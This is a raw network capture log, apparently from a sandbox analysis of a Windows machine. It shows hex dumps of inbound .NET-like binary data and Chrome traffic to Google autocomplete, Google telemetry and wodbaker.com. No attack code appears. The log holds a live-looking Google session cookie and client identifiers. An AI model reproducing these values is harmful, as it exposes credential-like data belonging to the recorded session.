2024-11-22 22:00:56 UTC	16384	IN	Data Raw: 26 7e 96 02 00 04 fe 06 62 07 00 06 73 d0 01 00 0a 25 80 e1 02 00 04 28 4b 00 00 2b 7d 72 03 00 04 06 7b 72 03 00 04 2c 60 06 7b 71 03 00 04 2c 47 06 7b 72 03 00 04 28 2c 00 00 2b 18 7d 78 02 00 04 06 fe 06 0e 08 00 06 73 b5 00 00 0a 14 28 b6 00 00 0a 26 06 7b 72 03 00 04 6f 16 03 00 06 06 7b 72 03 00 04 28 2c 00 00 2b 7b 78 02 00 04 19 fe 01 6f 10 03 00 0a 06 7b 72 03 00 04 28 2c 00 00 2b 16 7d 78 02 00 04 2a 00 13 30 03 00 43 00 00 00 46 00 00 11 02 03 28 b3 00 00 06 03 2d 21 02 7b 54 00 00 04 25 2d 04 26 16 2b 05 28 da 00 00 0a 2c 0d 02 7b 54 00 00 04 16 6f a2 00 00 0a 2a 03 2c 14 20 00 00 10 00 17 12 00 fe 15 c4 00 00 1b 06 28 09 06 00 06 2a 22 02 03 28 b1 00 00 06 2a a6 02 7b 5a 00 00 04 28 aa 00 00 06 6f b8 04 00 06 02 04 6f 11 03 00 0a 28 2e 01 00 Data Ascii: &~bs%(K+}r{r,`{q,G{r(,+}xs(&{ro{r(,+{xo{r(,+}x0CF(-!{T%-&+(,{To, ("({Z(oo(.
2024-11-22 22:00:56 UTC	16384	IN	Data Raw: 06 9f 01 00 06 73 1a 04 00 0a 28 ac 00 00 2b 25 0a 28 98 01 00 06 06 a2 28 ad 00 00 2b 25 0b 7d 85 00 00 04 07 a2 2a 52 02 28 97 01 00 06 6f 1c 04 00 0a 2d 06 02 6f 9b 01 00 06 2a 32 02 28 97 01 00 06 6f 1c 04 00 0a 2a 52 03 02 25 fe 07 9a 01 00 06 73 83 01 00 0a 6f 1d 04 00 0a 2a 4e 03 02 fe 06 a0 01 00 06 73 83 01 00 0a 6f 1e 04 00 0a 2a 1e 02 6f 9b 01 00 06 2a 00 13 30 04 00 43 00 00 00 62 00 00 11 73 45 08 00 06 0a 06 03 7d 94 03 00 04 02 7b 88 00 00 04 2d 10 02 7e 1f 04 00 0a 73 20 04 00 0a 7d 88 00 00 04 02 7b 88 00 00 04 06 7b 94 03 00 04 06 fe 06 46 08 00 06 73 21 04 00 0a 28 ae 00 00 2b 2a 1e 02 28 46 00 00 0a 2a 62 02 28 22 04 00 0a 02 03 72 02 20 00 70 28 af 00 00 2b 7d 89 00 00 04 2a 13 30 04 00 70 00 00 00 63 00 00 11 73 47 08 00 06 0a 06 02 Data Ascii: s(+%((+%}R(o-o2(oR%soNsoo0CbsE}{-~s }{{Fs!(+(Fb("r p(+}*0pcsG
2024-11-22 22:00:56 UTC	16384	IN	Data Raw: 16 2a ba 02 03 28 5f 05 00 0a 02 17 28 bb 02 00 06 02 02 28 ac 02 00 06 2d 08 02 28 b8 02 00 06 2d 03 14 2b 06 02 6f 62 04 00 0a 6f c0 02 00 06 2a 5a 02 03 28 60 05 00 0a 02 16 28 bb 02 00 06 02 14 6f c0 02 00 06 2a 00 00 00 13 30 03 00 13 00 00 00 92 00 00 11 02 28 f8 00 00 2b 0a 06 2c 08 06 02 03 6f 61 05 00 0a 2a 00 13 30 02 00 6e 00 00 00 93 00 00 11 02 28 62 05 00 0a 2d 1d 02 28 b0 02 00 06 12 00 fe 15 1d 00 00 01 06 28 63 05 00 0a 2c 07 02 28 b0 02 00 06 2a 02 7b ef 00 00 04 2c 1d 02 28 ae 02 00 06 12 00 fe 15 1d 00 00 01 06 28 63 05 00 0a 2c 07 02 28 ae 02 00 06 2a 02 28 be 01 00 06 12 00 fe 15 1d 00 00 01 06 28 63 05 00 0a 2c 07 02 28 be 01 00 06 2a 02 6f c4 02 00 06 2a 7a 02 7b ef 00 00 04 2c 0f 02 28 a8 02 00 06 2c 07 02 28 a8 02 00 06 2a 02 28 Data Ascii: (_((-(-+oboZ(`(o0(+,oa0n(b-((c,({,((c,(((c,(oz{,(,(*(
2024-11-22 22:00:56 UTC	16384	IN	Data Raw: 04 00 0a a2 25 18 73 2a 04 00 0a 25 18 6f c9 02 00 0a 25 1f 2a 28 34 05 00 06 6f 02 06 00 0a 25 28 04 06 00 0a 6f 13 04 00 0a 0e 04 7e a4 04 00 04 25 2d 17 26 7e a3 04 00 04 fe 06 ed 09 00 06 73 05 06 00 0a 25 80 a4 04 00 04 28 49 01 00 2b 28 4a 01 00 2b a2 6f 40 04 00 0a 06 02 17 14 28 4b 01 00 2b 28 4c 01 00 2b 7d a6 04 00 04 02 06 7b a6 04 00 04 28 4d 01 00 2b 28 5d 04 00 0a 02 06 7b a6 04 00 04 28 4e 01 00 2b 28 5e 04 00 0a 06 06 fe 06 ef 09 00 06 73 83 01 00 0a 7d a7 04 00 04 06 7b a6 04 00 04 06 fe 06 f0 09 00 06 73 5c 04 00 0a 28 4f 01 00 2b 2a 32 02 7b 36 01 00 04 6f 62 04 00 0a 2a 36 02 7b 36 01 00 04 03 6f 00 02 00 0a 2a 1e 02 7b 37 01 00 04 2a 22 02 03 7d 37 01 00 04 2a 00 13 30 05 00 64 00 00 00 00 00 00 00 02 03 04 05 0e 04 28 79 03 00 06 02 Data Ascii: %s%o%(4o%(o~%-&~s%(I+(J+o@(K+(L+}{(M+(]{(N+(^s}{s\(O+2{6ob6{6o{7"}7*0d(y
2024-11-22 22:00:56 UTC	16384	IN	Data Raw: 04 05 00 04 fe 06 63 0a 00 06 73 aa 07 00 0a 25 80 0b 05 00 04 28 99 01 00 2b 2d 05 1a 13 04 de 18 de 14 07 2c 06 07 6f 22 00 00 0a dc 06 2c 06 06 6f 22 00 00 0a dc 17 2a 11 04 2a 00 00 00 41 34 00 00 02 00 00 00 6d 00 00 00 1f 01 00 00 8c 01 00 00 0a 00 00 00 00 00 00 00 02 00 00 00 67 00 00 00 2f 01 00 00 96 01 00 00 0a 00 00 00 00 00 00 00 32 02 7b 01 05 00 04 6f ab 07 00 0a 2a 00 00 00 1b 30 05 00 e4 00 00 00 f1 00 00 11 73 89 0a 00 06 0a 06 02 7d 40 05 00 04 06 03 7d 3b 05 00 04 28 60 07 00 0a 28 ac 07 00 0a 73 59 0a 00 06 0b 06 07 6f 80 00 00 0a 73 5a 0a 00 06 7d 3c 05 00 04 06 06 7b 3b 05 00 04 6f ad 07 00 0a 0c 12 02 28 ae 07 00 0a 06 7b 3b 05 00 04 6f ad 07 00 0a 0c 12 02 28 af 07 00 0a 1f 20 17 28 b0 07 00 0a 7d 3d 05 00 04 06 06 7b 3b 05 00 04 Data Ascii: cs%(+-,o",o"*A4mg/2{o0s}@};(`(sYosZ}<{;o({;o( (}={;
2024-11-22 22:00:56 UTC	16384	IN	Data Raw: 80 01 02 00 04 20 8f 00 00 00 28 37 06 00 06 80 02 02 00 04 20 ff 00 00 00 28 37 06 00 06 80 03 02 00 04 16 28 37 06 00 06 80 04 02 00 04 20 96 00 00 00 28 37 06 00 06 80 06 02 00 04 1b 8d d3 02 00 01 25 d0 64 02 00 04 28 ba 04 00 0a 80 07 02 00 04 1f 11 8d d3 02 00 01 25 d0 65 02 00 04 28 ba 04 00 0a 80 08 02 00 04 22 00 00 80 3f 22 00 00 80 3f 22 00 00 80 3f 22 00 00 00 3f 28 38 05 00 06 80 09 02 00 04 22 33 33 33 3f 22 33 33 33 3f 22 33 33 33 3f 22 00 00 80 3f 28 38 05 00 06 80 0a 02 00 04 1e 28 34 05 00 06 80 0b 02 00 04 1a 28 34 05 00 06 73 ca 04 00 0a 80 0c 02 00 04 1f 18 1f 18 28 35 05 00 06 80 0d 02 00 04 1f 10 1f 10 28 35 05 00 06 80 0e 02 00 04 1f 18 1f 18 28 35 05 00 06 80 0f 02 00 04 1f 21 1f 10 28 35 05 00 06 80 10 02 00 04 1f 20 1f 10 28 35 Data Ascii: (7 (7(7 (7%d(%e("?"?"?"?(8"333?"333?"333?"?(8(4(4s(5(5(5!(5 (5
2024-11-22 22:00:56 UTC	16384	IN	Data Raw: 6f 98 09 00 0a 04 2c 07 06 04 6f 98 09 00 0a 25 28 01 02 00 0a 28 01 02 00 0a 28 77 01 00 0a 06 6f 99 09 00 0a 28 dc 04 00 0a 7d 18 06 00 04 fe 06 f1 0b 00 06 73 38 02 00 0a 14 28 39 02 00 0a 26 2a 00 13 30 05 00 89 00 00 00 3f 01 00 11 73 f6 0b 00 06 0a 06 0e 06 7d 1d 06 00 04 06 03 04 05 0e 04 73 79 03 00 06 7d 1e 06 00 04 02 28 9a 09 00 0a 0b 06 7b 1e 06 00 04 06 fe 06 f7 0b 00 06 73 9f 01 00 0a 6f a0 01 00 0a 0e 05 2c 1a 06 7b 1e 06 00 04 07 6f da 02 00 0a 26 06 7b 1e 06 00 04 6f d8 01 00 0a 2b 28 0e 07 2c 0d 0e 07 06 7b 1e 06 00 04 6f 9b 09 00 0a 06 7b 1e 06 00 04 07 6f 9c 09 00 0a 06 7b 1e 06 00 04 6f dc 02 00 0a 06 7b 1e 06 00 04 2a 62 03 04 05 0e 04 73 79 03 00 06 25 02 6f da 02 00 0a 26 6f 7c 03 00 06 2a 00 00 13 30 02 00 34 00 00 00 40 01 00 11 Data Ascii: o,o%(((wo(}s8(9&0?s}sy}({so,{o&{o+(,{o{o{o{bsy%o&o\|*04@
2024-11-22 22:00:56 UTC	16384	IN	Data Raw: 0d 0b 00 0a 2a 00 00 13 30 02 00 2f 00 00 00 87 01 00 11 02 03 28 08 0b 00 0a 0a 12 00 28 ea 02 00 0a 2c 0d 12 00 28 77 09 00 0a 73 e8 02 00 0a 2a 7e 49 01 00 04 03 6f 0e 0b 00 0a 28 0a 0b 00 0a 2a 36 03 02 28 0b 0b 00 0a 73 67 0c 00 06 2a 2e 73 fd 06 00 06 80 6b 02 00 04 2a 1e 02 28 46 00 00 0a 2a 1e 03 6f 0f 0b 00 0a 2a 2e 73 00 07 00 06 80 6d 02 00 04 2a 1e 02 28 46 00 00 0a 2a 42 03 28 c7 08 00 0a 2c 07 03 17 28 10 0b 00 0a 2a 66 03 28 c7 08 00 0a 2c 10 03 28 11 0b 00 0a 8e 2d 07 03 16 28 10 0b 00 0a 2a 2e 73 04 07 00 06 80 70 02 00 04 2a 1e 02 28 46 00 00 0a 2a 2a 03 7b f4 00 00 0a 14 fe 03 2a 1e 02 28 46 00 00 0a 2a 62 03 6f 12 0b 00 0a 02 7c 72 02 00 04 7b 13 0b 00 0a 59 28 14 0b 00 0a 2a 1e 02 28 46 00 00 0a 2a 13 30 02 00 57 00 00 00 00 00 00 00 Data Ascii: 0/((,(ws~Io(6(sg.sk(Fo.sm(FB(,(f(,(-(.sp(F*{(Fbo\|r{Y((F*0W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49798	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:55 UTC	657	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.c&oit=1&cp=10&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49802	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:56 UTC	658	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.co&oit=3&cp=11&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49803	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:56 UTC	659	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=wodbaker.com&oit=3&cp=12&pgcl=7&gs_rn=42&psi=nhUweC4ZZtEIjcIf&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:57 UTC	1367	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:00:56 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-RBdgJOF7vywdVA3NaGPuDw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 22:00:57 UTC	23	IN	Data Raw: 38 34 0d 0a 29 5d 7d 27 0a 5b 22 77 6f 64 62 61 6b 65 72 2e 63 6f 6d Data Ascii: 84)]}'["wodbaker.com
2024-11-22 22:00:57 UTC	115	IN	Data Raw: 22 2c 5b 5d 2c 5b 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 74 72 75 65 7d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 5d 2c 22 67 6f 6f 67 6c 65 3a 76 65 72 62 61 74 69 6d 72 65 6c 65 76 61 6e 63 65 22 3a 38 35 31 7d 5d 0d 0a Data Ascii: ",[],[],[],{"google:clientdata":{"bpc":false,"tlw":true},"google:suggesttype":[],"google:verbatimrelevance":851}]
2024-11-22 22:00:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49804	172.217.19.206	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:56 UTC	722	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 921 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:56 UTC	921	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 32 33 31 32 38 35 33 36 32 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1732312853623",null,null,null,
2024-11-22 22:00:57 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=moL4xrwH8d7bFA4k6pvtOCIDPLVc26T8RwJIRYVzeqg_WJeAN5AZPR2mlaO1qti2Twsr2kZE7pfPTV8HGs9b-Xc-DN8w7fBMfl7ZBE4oLsP-rSMo2W95xirtSaTnoaQFtmumxg4qIc8XwXxM0L__hwX2c9MNTVtqgE0zWMz1oIylbLlUKcSencc; expires=Sat, 24-May-2025 22:00:57 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 22 Nov 2024 22:00:57 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 22 Nov 2024 22:00:57 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-22 22:00:57 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-22 22:00:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49755	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:57 UTC	655	OUT	GET / HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:57 UTC	284	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 32343 Content-Type: text/html; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff P3P: CP="NON CUR OUR STP STA PRE" Date: Fri, 22 Nov 2024 22:00:57 GMT Connection: close
2024-11-22 22:00:57 UTC	16100	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e 0d 0a 09 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 66 75 6e 63 74 69 6f 6e 20 73 65 74 54 61 67 67 65 64 53 65 73 73 69 6f 6e 49 6e 66 6f 28 74 61 67 2c 20 74 61 67 67 65 64 53 65 73 73 Data Ascii: <!DOCTYPE html><html><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" /><script>function setTaggedSessionInfo(tag, taggedSess
2024-11-22 22:00:57 UTC	16243	IN	Data Raw: 09 65 76 65 6e 74 41 72 67 73 2e 62 75 74 74 6f 6e 44 65 66 69 6e 69 74 69 6f 6e 73 2e 70 75 73 68 28 0d 0a 09 09 09 09 09 09 7b 20 63 6f 6d 6d 61 6e 64 4e 61 6d 65 3a 20 27 4e 61 76 69 67 61 74 65 45 78 74 65 6e 73 69 6f 6e 42 72 6f 77 73 65 72 27 20 7d 0d 0a 09 09 09 09 09 29 3b 0d 0a 09 09 09 09 09 62 72 65 61 6b 3b 0d 0a 09 09 09 09 63 61 73 65 20 27 54 6f 6f 6c 73 50 61 6e 65 6c 27 3a 0d 0a 09 09 09 09 09 65 76 65 6e 74 41 72 67 73 2e 62 75 74 74 6f 6e 44 65 66 69 6e 69 74 69 6f 6e 73 2e 70 75 73 68 28 0d 0a 09 09 09 09 09 09 7b 20 63 6f 6d 6d 61 6e 64 4e 61 6d 65 3a 20 27 45 78 74 72 61 73 27 2c 20 69 6d 61 67 65 55 72 6c 3a 20 27 49 6d 61 67 65 73 2f 45 78 74 72 61 73 2e 73 76 67 27 20 7d 2c 0d 0a 09 09 09 09 09 09 7b 20 63 6f 6d 6d 61 6e 64 4e 61 Data Ascii: eventArgs.buttonDefinitions.push({ commandName: 'NavigateExtensionBrowser' });break;case 'ToolsPanel':eventArgs.buttonDefinitions.push({ commandName: 'Extras', imageUrl: 'Images/Extras.svg' },{ commandNa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49806	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:58 UTC	599	OUT	GET /App_Themes/DarkTeal/Default.css?__Cache=08be1136-3add-4a73-9d52-6ce1585c7407 HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:59 UTC	325	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Length: 474773 Content-Type: text/css; charset=utf-8 Expires: Fri, 22 Nov 2024 23:00:58 GMT Vary: Accept-Encoding Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:58 GMT Connection: close
2024-11-22 22:00:59 UTC	16059	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 0d 0a 7b 0d 0a 0d 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0d 0a 09 73 72 63 3a 20 6c 6f 63 61 6c 28 27 52 6f 62 6f 74 6f 27 29 2c 20 6c 6f 63 61 6c 28 27 52 6f 62 6f 74 6f 2d 52 65 67 75 6c 61 72 27 29 2c 20 75 72 6c 28 64 61 74 61 3a 3b 62 61 73 65 36 34 2c 64 30 39 47 52 67 41 42 41 41 41 41 41 45 38 73 41 42 49 41 41 41 41 41 6a 56 41 41 41 51 41 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 48 52 45 56 47 41 41 41 42 6c 41 41 41 41 45 63 41 41 41 42 6b 42 59 30 46 76 45 64 51 54 31 4d 41 41 41 48 63 41 41 41 46 30 41 41 41 44 4f Data Ascii: @font-face{font-family: 'Roboto';font-style: normal;font-weight: 400;src: local('Roboto'), local('Roboto-Regular'), url(data:;base64,d09GRgABAAAAAE8sABIAAAAAjVAAAQABAAAAAAAAAAAAAAAAAAAAAAAAAABHREVGAAABlAAAAEcAAABkBY0FvEdQT1MAAAHcAAAF0AAADO
